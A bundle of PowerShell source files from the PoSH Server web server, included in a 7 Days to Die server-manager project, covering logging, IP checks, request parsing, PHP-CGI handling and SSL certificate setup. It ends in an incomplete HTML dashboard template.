# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server Logging Module # Fields: date time s-sitename s-computername s-ip cs-method cs-uri-stem s-port c-ip cs-version cs(User-Agent) cs(Cookie) cs(Referer) cs-host sc-status $LogDate = Get-Date -format yyyy-MM-dd $LogTime = Get-Date -format HH:mm:ss $LogSiteName = $Hostname if ($LogSiteName -eq "+") { $LogSiteName = "localhost" } $LogComputerName = Get-Content env:computername $LogServerIP = $Request.LocalEndPoint.Address $LogMethod = $Request.HttpMethod $LogUrlStem = $Request.RawUrl $LogServerPort = $Request.LocalEndPoint.Port $LogClientIP = $Request.RemoteEndPoint.Address $LogClientVersion = $Request.ProtocolVersion if (!$LogClientVersion) { $LogClientVersion = "-" } else { $LogClientVersion = "HTTP/" + $LogClientVersion } $LogClientAgent = [string]$Request.UserAgent if (!$LogClientAgent) { $LogClientAgent = "-" } else { $LogClientAgent = $LogClientAgent.Replace(" ","+") } $LogClientCookie = [string]$Response.Cookies.Value if (!$LogClientCookie) { $LogClientCookie = "-" } else { $LogClientCookie = $LogClientCookie.Replace(" ","+") } $LogClientReferrer = [string]$Request.UrlReferrer if (!$LogClientReferrer) { $LogClientReferrer = "-" } else { $LogClientReferrer = $LogClientReferrer.Replace(" ","+") } $LogHostInfo = [string]$LogServerIP + ":" + [string]$LogServerPort # Log Output $LogOutput = "$LogDate $LogTime $LogSiteName $LogComputerName $LogServerIP $LogMethod $LogUrlStem $LogServerPort $LogClientIP $LogClientVersion $LogClientAgent $LogClientCookie $LogClientReferrer $LogHostInfo $LogResponseStatus" # Logging to Log File if ($LogSchedule -eq "Hourly") { $LogNameFormat = Get-Date -format yyMMddHH $LogFileName = "u_ex" + $LogNameFormat + ".log" $LogFilePath = $LogDirectory + "\" + $LogFileName } else { $LogNameFormat = Get-Date -format yyMMdd $LogFileName = "u_ex" + $LogNameFormat + ".log" $LogFilePath = $LogDirectory + "\" + $LogFileName } if ($LastCheckDate -ne $LogNameFormat) { if (![System.IO.File]::Exists($LogFilePath)) { $LogHeader = "#Fields: date time s-sitename s-computername s-ip cs-method cs-uri-stem s-port c-ip cs-version cs(User-Agent) cs(Cookie) cs(Referer) cs-host sc-status" Add-Content -Path $LogFilePath -Value $LogHeader -EA SilentlyContinue } # Set Last Check Date $LastCheckDate = $LogNameFormat } try { Add-Content -Path $LogFilePath -Value $LogOutput -EA SilentlyContinue } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" }
ipverification.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # PoSH Server IP Address Verification if ($Hostname) { $IPAddresses = @($Hostname.Split(",")) foreach ($IPAddress in $IPAddresses) { if ($IPAddress -ne "127.0.0.1" -and $IPAddress -ne "::1") { if ($IPAddress -as [ipaddress]) { $IPValidation = Confirm-PoSHServerIP -IP $IPAddress if ($IPValidation -ne "Validated") { Write-Warning "$IPAddress is not exist on your current network configuration." Write-Warning "Aborting.." $ShouldProcess = $false } } } } } # PoSH Server SSL IP Address Verification if ($SSLIP) { if ($ShouldProcess -ne $false) { $SSLIPAddresses = @($SSLIP.Split(",")) foreach ($SSLIPAddress in $SSLIPAddresses) { if ($SSLIPAddress -ne "127.0.0.1" -and $SSLIPAddress -ne "::1") { if ($SSLIPAddress -as [ipaddress]) { $IPValidation = Confirm-PoSHServerIP -IP $SSLIPAddress if ($IPValidation -ne "Validated") { Write-Warning "$SSLIPAddress is not exist on your current network configuration." Write-Warning "Aborting.." $ShouldProcess = $false } } } } } }
example4.ps1
7DaysToDieManager-1.0.0
# You can also use html files as templates # Let's import one of them # But we only get content of html files, you can't execute Powershell in them. @" $(Write-Host Hello World Example4!) $(Get-Content "$HomeDirectory\index.htm") "@
functions.ps1
7DaysToDieManager-1.0.0
# Copyright (C) 2014 Yusuf Ozturk # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA function Confirm-PoSHAdminPrivileges { <# .SYNOPSIS Function to test administrative privileges .EXAMPLE Confirm-PoSHAdminPrivileges #> $User = [Security.Principal.WindowsIdentity]::GetCurrent() if((New-Object Security.Principal.WindowsPrincipal $User).IsInRole([Security.Principal.WindowsBuiltinRole]::Administrator)) { $Result = "Validated" } $Result } function Confirm-PoSHServerIP { <# .SYNOPSIS Function to verify IP address on server .EXAMPLE Confirm-PoSHServerIP -IP "192.168.2.1" #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $true, HelpMessage = 'IP address')] [string]$IP ) # Get Networking Adapter Configuration $IPConfigs = Get-WmiObject Win32_NetworkAdapterConfiguration # Get All IP Addresses foreach ($IPConfig in $IPConfigs) { if ($IPConfig.IPaddress) { foreach ($IPAddress in $IPConfig.IPaddress) { if ("$IP" -eq "$IPAddress") { $Result = "Validated" } } } } $Result } function Get-DirectoryContent { <# .SYNOPSIS Function to get directory content .EXAMPLE Get-DirectoryContent -Path "C:\" -HeaderName "poshserver.net" -RequestURL "http://poshserver.net" -SubfolderName "/" #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $true, HelpMessage = 'Directory Path')] [string]$Path, [Parameter( Mandatory = $false, HelpMessage = 'Header Name')] [string]$HeaderName, [Parameter( Mandatory = $false, HelpMessage = 'Request URL')] [string]$RequestURL, [Parameter( Mandatory = $false, HelpMessage = 'Subfolder Name')] [string]$SubfolderName ) @" <html> <head> <title>$($HeaderName)</title> </head> <body> <h1>$($HeaderName) - $($SubfolderName)</h1> <hr> "@ $ParentDirectory = $RequestURL + $Subfoldername + "../" @" <a href="$($ParentDirectory)">[To Parent Directory]</a><br><br> <table cellpadding="5"> "@ $Files = (Get-ChildItem "$Path") foreach ($File in $Files) { $FileURL = $RequestURL + $Subfoldername + $File.Name if (!$File.Length) { $FileLength = "[dir]" } else { $FileLength = $File.Length } @" <tr> <td align="right">$($File.LastWriteTime)</td> <td align="right">$($FileLength)</td> <td align="left"><a href="$($FileURL)">$($File.Name)</a></td> </tr> "@ } @" </table> <hr> </body> </html> "@ } function New-PoSHLogHash { <# .SYNOPSIS Function to hash PoSHServer log file .EXAMPLE New-PoSHLogHash -LogSchedule "Hourly" -LogDirectory "C:\inetpub\logs" #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $true, HelpMessage = 'Log Schedule')] [string]$LogSchedule, [Parameter( Mandatory = $true, HelpMessage = 'Log Directory Path')] [string]$LogDirectory, [Parameter( Mandatory = $false, HelpMessage = 'Debug Mode')] $DebugMode = $false ) if ($LogSchedule -eq "Hourly") { $LogNameFormatLastHour = (Get-Date).AddHours(-1).ToString("yyMMddHH") $LogFileNameLastHour = "u_ex" + $LogNameFormatLastHour + ".log" $LogFilePathLastHour = $LogDirectory + "\" + $LogFileNameLastHour $SigFileName = "u_ex" + $LogNameFormatLastHour + ".sign" $SigFilePath = $LogDirectory + "\" + $SigFileName $DateFileName = "u_ex" + $LogNameFormatLastHour + ".date" $DateFilePath = $LogDirectory + "\" + $DateFileName $LastLogFilePath = $LogFilePathLastHour } else { $LogNameFormatYesterday = (Get-Date).AddDays(-1).ToString("yyMMdd") $LogFileNameYesterday = "u_ex" + $LogNameFormatYesterday + ".log" $LogFilePathYesterday = $LogDirectory + "\" + $LogFileNameYesterday $SigFileName = "u_ex" + $LogNameFormatYesterday + ".sign" $SigFilePath = $LogDirectory + "\" + $SigFileName $DateFileName = "u_ex" + $LogNameFormatYesterday + ".date" $DateFilePath = $LogDirectory + "\" + $DateFileName $LastLogFilePath = $LogFilePathYesterday } if ([System.IO.File]::Exists($LastLogFilePath)) { if (![System.IO.File]::Exists($SigFilePath)) { $LogHashJobArgs = @($LastLogFilePath,$SigFilePath,$DateFilePath) try { $LogHashJob = Start-Job -ScriptBlock { param ($LastLogFilePath, $SigFilePath, $DateFilePath) if (![System.IO.File]::Exists($DateFilePath)) { $HashAlgorithm = "MD5" $HashType = [Type] "System.Security.Cryptography.$HashAlgorithm" $Hasher = $HashType::Create() $DateString = Get-Date -uformat "%d.%m.%Y" $TimeString = (w32tm /stripchart /computer:time.ume.tubitak.gov.tr /samples:1)[-1].split("")[0] $DateString = $DateString + " " + $TimeString $InputStream = New-Object IO.StreamReader $LastLogFilePath $HashBytes = $Hasher.ComputeHash($InputStream.BaseStream) $InputStream.Close() $Builder = New-Object System.Text.StringBuilder $HashBytes | Foreach-Object { [void] $Builder.Append($_.ToString("X2")) } $HashString = $Builder.ToString() $HashString = $HashString + " " + $DateString $Stream = [System.IO.StreamWriter]$SigFilePath $Stream.Write($HashString) $Stream.Close() $Stream = [System.IO.StreamWriter]$DateFilePath $Stream.Write($DateString) $Stream.Close() $InputStream = New-Object IO.StreamReader $SigFilePath $HashBytes = $Hasher.ComputeHash($InputStream.BaseStream) $InputStream.Close() $Builder = New-Object System.Text.StringBuilder $HashBytes | Foreach-Object { [void] $Builder.Append($_.ToString("X2")) } $HashString = $Builder.ToString() $Stream = [System.IO.StreamWriter]$SigFilePath $Stream.Write($HashString) $Stream.Close() } } -ArgumentList $LogHashJobArgs } catch { Add-Content -Value $_ -Path "$LogDirectory\debug.txt" } } } else { Add-Content -Value "Could not find log file." -Path "$LogDirectory\debug.txt" } } function Start-PoSHLogParser { <# .SYNOPSIS Function to parse PoSHServer log files .EXAMPLE Start-PoSHLogParser -LogPath "C:\inetpub\logs\hourly.log" #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $true, HelpMessage = 'Log Path')] [string]$LogPath ) $File = $LogPath $Log = Get-Content $File | where {$_ -notLike "#[D,S-V]*" } $Columns = (($Log[0].TrimEnd()) -replace "#Fields: ", "" -replace "-","" -replace "\(","" -replace "\)","").Split(" ") $Count = $Columns.Length $Rows = $Log | where {$_ -notLike "#Fields"} $IISLog = New-Object System.Data.DataTable "IISLog" foreach ($Column in $Columns) { $NewColumn = New-Object System.Data.DataColumn $Column, ([string]) $IISLog.Columns.Add($NewColumn) } foreach ($Row in $Rows) { $Row = $Row.Split(" ") $AddRow = $IISLog.newrow() for($i=0;$i -lt $Count; $i++) { $ColumnName = $Columns[$i] $AddRow.$ColumnName = $Row[$i] } $IISLog.Rows.Add($AddRow) } $IISLog } function Get-MimeType { <# .SYNOPSIS Function to get mime types .EXAMPLE Get-MimeType -Extension ".jpg" #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $false, HelpMessage = 'Extension')] [string]$Extension ) switch ($Extension) { .ps1 {"text/ps1"} .psxml {"text/psxml"} .psapi {"text/psxml"} .posh {"text/psxml"} .html {"text/html"} .htm {"text/html"} .php {"text/php"} .css {"text/css"} .jpeg {"image/jpeg"} .jpg {"image/jpeg"} .gif {"image/gif"} .ico {"image/x-icon"} .flv {"video/x-flv"} .swf {"application/x-shockwave-flash"} .js {"text/javascript"} .txt {"text/plain"} .rar {"application/octet-stream"} .zip {"application/x-zip-compressed"} .rss {"application/rss+xml"} .xml {"text/xml"} .pdf {"application/pdf"} .png {"image/png"} .mpg {"video/mpeg"} .mpeg {"video/mpeg"} .mp3 {"audio/mpeg"} .oga {"audio/ogg"} .spx {"audio/ogg"} .mp4 {"video/mp4"} .m4v {"video/m4v"} .ogg {"video/ogg"} .ogv {"video/ogg"} .webm {"video/webm"} .wmv {"video/x-ms-wmv"} .woff {"application/x-font-woff"} .eot {"application/vnd.ms-fontobject"} .svg {"image/svg+xml"} .svgz {"image/svg+xml"} .otf {"font/otf"} .ttf {"application/x-font-ttf"} .xht {"application/xhtml+xml"} .xhtml {"application/xhtml+xml"} default {"text/html"} } } function Get-PoSHPHPContent { <# .SYNOPSIS Function to get php content .EXAMPLE Get-PoSHPHPContent -PHPCgiPath "C:\php.exe" -File "C:\test.php" -PoSHPHPGET "test=value" .EXAMPLE Get-PoSHPHPContent -PHPCgiPath "C:\php.exe" -File "C:\test.php" -PoSHPHPPOST "test=value" #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $true, HelpMessage = 'PHP-Cgi Path')] [string]$PHPCgiPath, [Parameter( Mandatory = $true, HelpMessage = 'File Path')] [string]$File, [Parameter( Mandatory = $false, HelpMessage = 'PHP GET String')] [string]$PoSHPHPGET, [Parameter( Mandatory = $false, HelpMessage = 'PHP POST String')] [string]$PoSHPHPPOST ) # Set PHP Environment $env:GATEWAY_INTERFACE="CGI/1.1" $env:SCRIPT_FILENAME="$File" $env:REDIRECT_STATUS="200" $env:SERVER_PROTOCOL="HTTP/1.1" $env:HTTP_ACCEPT="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" $env:CONTENT_TYPE="application/x-www-form-urlencoded" if ($PoSHPHPPOST) { # Set PHP POST Environment $env:REQUEST_METHOD="POST" $PHP_CONTENT_LENGTH = $PoSHPHPPOST.Length $env:CONTENT_LENGTH="$PHP_CONTENT_LENGTH" # Get PHP Content $PHPOutput = "$PoSHPHPPOST" | &$PHPCgiPath } else { # Set PHP GET Environment $env:REQUEST_METHOD="GET" $env:QUERY_STRING="$PoSHPHPGET" # Get PHP Content $PHPOutput = &$PHPCgiPath } # Get PHP Header Line Number $PHPHeaderLineNumber = ($PHPOutput | Select-String -Pattern "^$")[0].LineNumber # Get PHP Header $PHPHeader = $PHPOutput | Select -First $PHPHeaderLineNumber # Get Redirection Location $GetPHPLocation = $PHPHeader | Select-String "Location:" # Check Redirection Location if ($GetPHPLocation) { $GetPHPLocation = $GetPHPLocation -match 'Location: (.*)/?' if ($GetPHPLocation -eq $True) { $PHPRedirectionURL = $Matches[1] } else { $PHPRedirectionURL = $Null; } } # Redirect to Location if ($PHPRedirectionURL) { # Redirection Output $PHPRedirection = '<html>' $PHPRedirection += '<script type="text/javascript">' $PHPRedirection += 'window.location = "' + $PHPRedirectionURL + '"' $PHPRedirection += '</script>' $PHPRedirection += '</html>' $PHPRedirection } else { # Output PHP Content $PHPOutput = $PHPOutput | Select -Skip $PHPHeaderLineNumber $PHPOutput } } function Get-PoSHPostStream { <# .SYNOPSIS Function to get php post stream .EXAMPLE Get-PoSHPostStream -InputStream $InputStream -ContentEncoding $ContentEncoding #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $true, HelpMessage = 'Input Stream')] $InputStream, [Parameter( Mandatory = $true, HelpMessage = 'Content Encoding')] $ContentEncoding ) $PoSHCommand = New-Object IO.StreamReader ($InputStream,$ContentEncoding) $PoSHCommand = $PoSHCommand.ReadToEnd() $PoSHCommand = $PoSHCommand.ToString() if ($PoSHCommand) { $PoSHCommand = $PoSHCommand.Replace("+"," ") $PoSHCommand = $PoSHCommand.Replace("%20"," ") $PoSHCommand = $PoSHCommand.Replace("%21","!") $PoSHCommand = $PoSHCommand.Replace('%22','"') $PoSHCommand = $PoSHCommand.Replace("%23","#") $PoSHCommand = $PoSHCommand.Replace("%24","$") $PoSHCommand = $PoSHCommand.Replace("%25","%") $PoSHCommand = $PoSHCommand.Replace("%27","'") $PoSHCommand = $PoSHCommand.Replace("%28","(") $PoSHCommand = $PoSHCommand.Replace("%29",")") $PoSHCommand = $PoSHCommand.Replace("%2A","*") $PoSHCommand = $PoSHCommand.Replace("%2B","+") $PoSHCommand = $PoSHCommand.Replace("%2C",",") $PoSHCommand = $PoSHCommand.Replace("%2D","-") $PoSHCommand = $PoSHCommand.Replace("%2E",".") $PoSHCommand = $PoSHCommand.Replace("%2F","/") $PoSHCommand = $PoSHCommand.Replace("%3A",":") $PoSHCommand = $PoSHCommand.Replace("%3B",";") $PoSHCommand = $PoSHCommand.Replace("%3C","<") $PoSHCommand = $PoSHCommand.Replace("%3E",">") $PoSHCommand = $PoSHCommand.Replace("%3F","?") $PoSHCommand = $PoSHCommand.Replace("%5B","[") $PoSHCommand = $PoSHCommand.Replace("%5C","\") $PoSHCommand = $PoSHCommand.Replace("%5D","]") $PoSHCommand = $PoSHCommand.Replace("%5E","^") $PoSHCommand = $PoSHCommand.Replace("%5F","_") $PoSHCommand = $PoSHCommand.Replace("%7B","{") $PoSHCommand = $PoSHCommand.Replace("%7C","|") $PoSHCommand = $PoSHCommand.Replace("%7D","}") $PoSHCommand = $PoSHCommand.Replace("%7E","~") $PoSHCommand = $PoSHCommand.Replace("%7F","_") $PoSHCommand = $PoSHCommand.Replace("%7F%25","%") $PoSHPostStream = $PoSHCommand $PoSHCommand = $PoSHCommand.Split("&") $Properties = New-Object Psobject $Properties | Add-Member Noteproperty PoSHPostStream $PoSHPostStream foreach ($Post in $PoSHCommand) { $PostValue = $Post.Replace("%26","&") $PostContent = $PostValue.Split("=") $PostName = $PostContent[0].Replace("%3D","=") $PostValue = $PostContent[1].Replace("%3D","=") if ($PostName.EndsWith("[]")) { $PostName = $PostName.Substring(0,$PostName.Length-2) if (!(New-Object PSObject -Property @{PostName=@()}).PostName) { $Properties | Add-Member NoteProperty $Postname (@()) $Properties."$PostName" += $PostValue } else { $Properties."$PostName" += $PostValue } } else { $Properties | Add-Member NoteProperty $PostName $PostValue } } Write-Output $Properties } } function Get-PoSHQueryString { <# .SYNOPSIS Function to get query string .EXAMPLE Get-PoSHQueryString -Request $Request #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $false, HelpMessage = 'Request')] $Request ) if ($Request) { $PoSHQueryString = $Request.RawUrl.Split("?")[1] $QueryStrings = $Request.QueryString $Properties = New-Object Psobject $Properties | Add-Member Noteproperty PoSHQueryString $PoSHQueryString foreach ($Query in $QueryStrings) { $QueryString = $Request.QueryString["$Query"] if ($QueryString -and $Query) { $Properties | Add-Member Noteproperty $Query $QueryString } } Write-Output $Properties } } function Get-PoSHWelcomeBanner { <# .SYNOPSIS Function to get welcome banner .EXAMPLE Get-PoSHWelcomeBanner -Hostname "localhost" -Port "8080" -SSL $True -SSLIP "10.10.10.2" -SSLPort "8443" #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $false, HelpMessage = 'IP Address or Hostname')] [Alias('IP')] [string]$Hostname, [Parameter( Mandatory = $false, HelpMessage = 'Port Number')] [string]$Port, [Parameter( Mandatory = $false, HelpMessage = 'Enable SSL')] $SSL = $false, [Parameter( Mandatory = $false, HelpMessage = 'SSL IP Address')] [string]$SSLIP, [Parameter( Mandatory = $false, HelpMessage = 'SSL Port Number')] [string]$SSLPort, [Parameter( Mandatory = $false, HelpMessage = 'Debug Mode')] $DebugMode = $false ) # Get Hostname if (!$Hostname -or $Hostname -eq "+") { $Hostname = "localhost" } else { $Hostname = @($Hostname.Split(","))[0] } # Get Port if ($Port -ne "80") { $Port = ":$Port" } else { $Port = $null } if ($SSL) { # Get SSL Hostname if (!$SSLIP -or $SSLIP -eq "+") { $SSLIP = "localhost" } else { $SSLIP = @($SSLIP.Split(","))[0] } # Get SSL Port if ($SSLPort -eq "443") { $SSLPort = "/" } else { $SSLPort = ":$SSLPort" } } if (!$DebugMode) { clear } Write-Host " " Write-Host " Welcome to PoSH Server" Write-Host " " Write-Host " " Write-Host " You can start browsing your webpage from:" Write-Host " http://$Hostname$Port" if ($SSL) { if ($SSLPort -eq "/") { Write-Host " https://$SSLIP" } else { Write-Host " https://$SSLIP$SSLPort" } } Write-Host " " Write-Host " " Write-Host " Thanks for using PoSH Server.." Write-Host " " Write-Host " " Write-Host " " } function New-PoSHAPIXML { <# .SYNOPSIS Function to create PoSHAPI XML .EXAMPLE New-PoSHAPIXML -ResultCode "1" -ResultMessage "Service unavailable" -RootTag "Result" -ItemTag "OperationResult" -Details #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $false, HelpMessage = 'Result Code')] $ResultCode = "-1", [Parameter( Mandatory = $false, HelpMessage = 'Result Message')] $ResultMessage = "The operation failed", [Parameter( Mandatory = $false, HelpMessage = 'Root Tag')] $RootTag = "Result", [Parameter( Mandatory = $false, HelpMessage = 'Item Tag')] $ItemTag = "OperationResult", [Parameter( Mandatory = $false, HelpMessage = 'Child Items')] $ChildItems = "*", [Parameter( Mandatory = $false, HelpMessage = 'Attributes')] $Attributes = $Null, [Parameter( Mandatory = $false, HelpMessage = 'Details')] $Details = $false ) Begin { $xml = "<?xml version=""1.0"" encoding=""utf-8""?>`n" $xml += "<$RootTag>`n" $xml += " <Code>$ResultCode</Code>`n" $xml += " <Message>$ResultMessage</Message>`n" } Process { if ($Details) { $xml += " <$ItemTag" if ($Attributes) { foreach ($attr in $_ | Get-Member -type *Property $attributes) { $name = $attr.Name $xml += " $Name=`"$($_.$Name)`"" } } $xml += ">`n" foreach ($child in $_ | Get-Member -Type *Property $childItems) { $name = $child.Name $xml += " <$Name>$($_.$Name)</$Name>`n" } $xml += " </$ItemTag>`n" } } End { $xml += "</$RootTag>`n" $xml } } function Request-PoSHCertificate { <# .SYNOPSIS Function to create PoSH Certificate request .EXAMPLE Request-PoSHCertificate #> $SSLSubject = "PoSHServer" $SSLName = New-Object -com "X509Enrollment.CX500DistinguishedName.1" $SSLName.Encode("CN=$SSLSubject", 0) $SSLKey = New-Object -com "X509Enrollment.CX509PrivateKey.1" $SSLKey.ProviderName = "Microsoft RSA SChannel Cryptographic Provider" $SSLKey.KeySpec = 1 $SSLKey.Length = 2048 $SSLKey.SecurityDescriptor = "D:PAI(A;;0xd01f01ff;;;SY)(A;;0xd01f01ff;;;BA)(A;;0x80120089;;;NS)" $SSLKey.MachineContext = 1 $SSLKey.ExportPolicy = 1 $SSLKey.Create() $SSLObjectId = New-Object -com "X509Enrollment.CObjectIds.1" $SSLServerId = New-Object -com "X509Enrollment.CObjectId.1" $SSLServerId.InitializeFromValue("1.3.6.1.5.5.7.3.1") $SSLObjectId.add($SSLServerId) $SSLExtensions = New-Object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage.1" $SSLExtensions.InitializeEncode($SSLObjectId) $SSLCert = New-Object -com "X509Enrollment.CX509CertificateRequestCertificate.1" $SSLCert.InitializeFromPrivateKey(2, $SSLKey, "") $SSLCert.Subject = $SSLName $SSLCert.Issuer = $SSLCert.Subject $SSLCert.NotBefore = Get-Date $SSLCert.NotAfter = $SSLCert.NotBefore.AddDays(1825) $SSLCert.X509Extensions.Add($SSLExtensions) $SSLCert.Encode() $SSLEnrollment = New-Object -com "X509Enrollment.CX509Enrollment.1" $SSLEnrollment.InitializeFromRequest($SSLCert) $SSLEnrollment.CertificateFriendlyName = 'PoSHServer SSL Certificate' $SSLCertdata = $SSLEnrollment.CreateRequest(0) $SSLEnrollment.InstallResponse(2, $SSLCertdata, 0, "") } function Register-PoSHCertificate { <# .SYNOPSIS Function to register PoSH Certificate .EXAMPLE Register-PoSHCertificate -SSLIP "10.10.10.2" -SSLPort "8443" -Thumbprint "45F53D35AB630198F19A27931283" #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $false, HelpMessage = 'SSL IP Address')] [string]$SSLIP, [Parameter( Mandatory = $false, HelpMessage = 'SSL Port Number')] [string]$SSLPort, [Parameter( Mandatory = $false, HelpMessage = 'SSL Thumbprint')] $Thumbprint, [Parameter( Mandatory = $false, HelpMessage = 'Debug Mode')] $DebugMode = $false ) $SSLIPAddresses = @($SSLIP.Split(",")) foreach ($SSLIPAddress in $SSLIPAddresses) { $IPPort = $SSLIPAddress + ":" + $SSLPort if ($DebugMode) { # Remove Previous SSL Bindings netsh http delete sslcert ipport="$IPPort" # Add SSL Certificate netsh http add sslcert ipport="$IPPort" certhash="$Thumbprint" appid="{00112233-4455-6677-8899-AABBCCDDEEFF}" } else { # Remove Previous SSL Bindings netsh http delete sslcert ipport="$IPPort" | Out-Null # Add SSL Certificate netsh http add sslcert ipport="$IPPort" certhash="$Thumbprint" appid="{00112233-4455-6677-8899-AABBCCDDEEFF}" | Out-Null } } } function New-PoSHTimeStamp { <# .SYNOPSIS Function to generate time stamp .EXAMPLE New-PoSHTimeStamp #> $now = Get-Date $hr = $now.Hour.ToString() $mi = $now.Minute.ToString() $sd = $now.Second.ToString() $ms = $now.Millisecond.ToString() Write-Output $hr$mi$sd$ms } function Invoke-AsyncHTTPRequest { <# .SYNOPSIS Function to invoke async HTTP request .EXAMPLE Invoke-AsyncHTTPRequest #> [CmdletBinding(SupportsShouldProcess = $true)] param ( [Parameter( Mandatory = $false, HelpMessage = 'Script Block')] $ScriptBlock, [Parameter( Mandatory = $false, HelpMessage = 'Listener')] $Listener, [Parameter( Mandatory = $false, HelpMessage = 'Hostname')] $Hostname, [Parameter( Mandatory = $false, HelpMessage = 'Hostnames')] $Hostnames, [Parameter( Mandatory = $false, HelpMessage = 'Home Directory. Example: C:\inetpub\wwwroot')] [string]$HomeDirectory, [Parameter( Mandatory = $false, HelpMessage = 'Log Directory. Example: C:\inetpub\wwwroot')] [string]$LogDirectory, [Parameter( Mandatory = $false, HelpMessage = 'PoSHServer Module Path')] [string]$PoSHModulePath, [Parameter( Mandatory = $false, HelpMessage = 'Custom Child Config Path')] [string]$CustomChildConfig, [Parameter( Mandatory = $false, HelpMessage = 'Debug Mode')] [switch]$DebugMode = $false ) $Pipeline = [System.Management.Automation.PowerShell]::Create() $Pipeline.AddScript($ScriptBlock) $Pipeline.AddArgument($Listener) $Pipeline.AddArgument($Hostname) $Pipeline.AddArgument($Hostnames) $Pipeline.AddArgument($HomeDirectory) $Pipeline.AddArgument($LogDirectory) $Pipeline.AddArgument($PoSHModulePath) $Pipeline.AddArgument($CustomChildConfig) $Pipeline.AddArgument($DebugMode) $Pipeline.BeginInvoke() }
maps.ps1
7DaysToDieManager-1.0.0
@" <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>7 Days To Die - Cindar's World</title> <!--STYLESHEET--> <!--=================================================--> <!--Open Sans Font [ OPTIONAL ]--> <link href='https://fonts.googleapis.com/css?family=Open+Sans:400,300,600,700' rel='stylesheet' type='text/css'> <!--Bootstrap Stylesheet [ REQUIRED ]--> <link href="css/bootstrap.min.css" rel="stylesheet"> <!--Nifty Stylesheet [ REQUIRED ]--> <link href="css/nifty.min.css" rel="stylesheet"> <!--Nifty Premium Icon [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo-icons.min.css" rel="stylesheet"> <!--Demo [ DEMONSTRATION ]--> <link href="css/demo/nifty-demo.min.css" rel="stylesheet"> <!--Morris.js [ OPTIONAL ]--> <link href="plugins/morris-js/morris.min.css" rel="stylesheet"> <!--Magic Checkbox [ OPTIONAL ]--> <link href="plugins/magic-check/css/magic-check.min.css" rel="stylesheet"> <!-- Font Awesome --> <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" rel="stylesheet"> <!--JAVASCRIPT--> <!--=================================================--> <!--Pace - Page Load Progress Par [OPTIONAL]--> <link href="plugins/pace/pace.min.css" rel="stylesheet"> <script src="plugins/pace/pace.min.js"></script> <!--jQuery [ REQUIRED ]--> <script src="js/jquery.min.js"></script> <!--BootstrapJS [ RECOMMENDED ]--> <script src="js/bootstrap.min.js"></script> <!--NiftyJS [ RECOMMENDED ]--> <script src="js/nifty.min.js"></script> <!--=================================================--> <!--Demo script [ DEMONSTRATION ]--> <script src="js/demo/nifty-demo.min.js"></script> <!--Morris.js [ OPTIONAL ]--> <script src="plugins/morris-js/morris.min.js"></script> <script src="plugins/morris-js/raphael-js/raphael.min.js"></script> <!--Sparkline [ OPTIONAL ]--> <script src="plugins/sparkline/jquery.sparkline.min.js"></script> <!--Specify page [ SAMPLE ]--> <script src="js/demo/dashboard.js"></script </head> <!--TIPS--> <!--You may remove all ID or Class names which contain "demo-", they are only used for demonstration. --> <body> <div id="container" class="effect aside-float aside-bright mainnav-lg"> <!--NAVBAR--> <!--===================================================--> <header id="navbar"> <div id="navbar-container" class="boxed"> <!--Brand logo & name--> <!--================================--> <div class="navbar-header"> <a href="index.html" class="navbar-brand"> <img src="img/7dtd_logo.png" class="brand-icon"> <div class="brand-title"> <span class="brand-text">Cindar's World</span> </div> </a> </div> <!--================================--> <!--End brand logo & name--> <!--Navbar Dropdown--> <!--================================--> <div class="navbar-content clearfix"> <ul class="nav navbar-top-links pull-left"> <!--Navigation toggle button--> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <li class="tgl-menu-btn"> <a class="mainnav-toggle" href="#"> <i class="demo-pli-view-list"></i> </a> </li> <!--~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~--> <!--End Navigation toogle button--> </ul> <ul class="nav text-center"> <!--Updated Timer--> 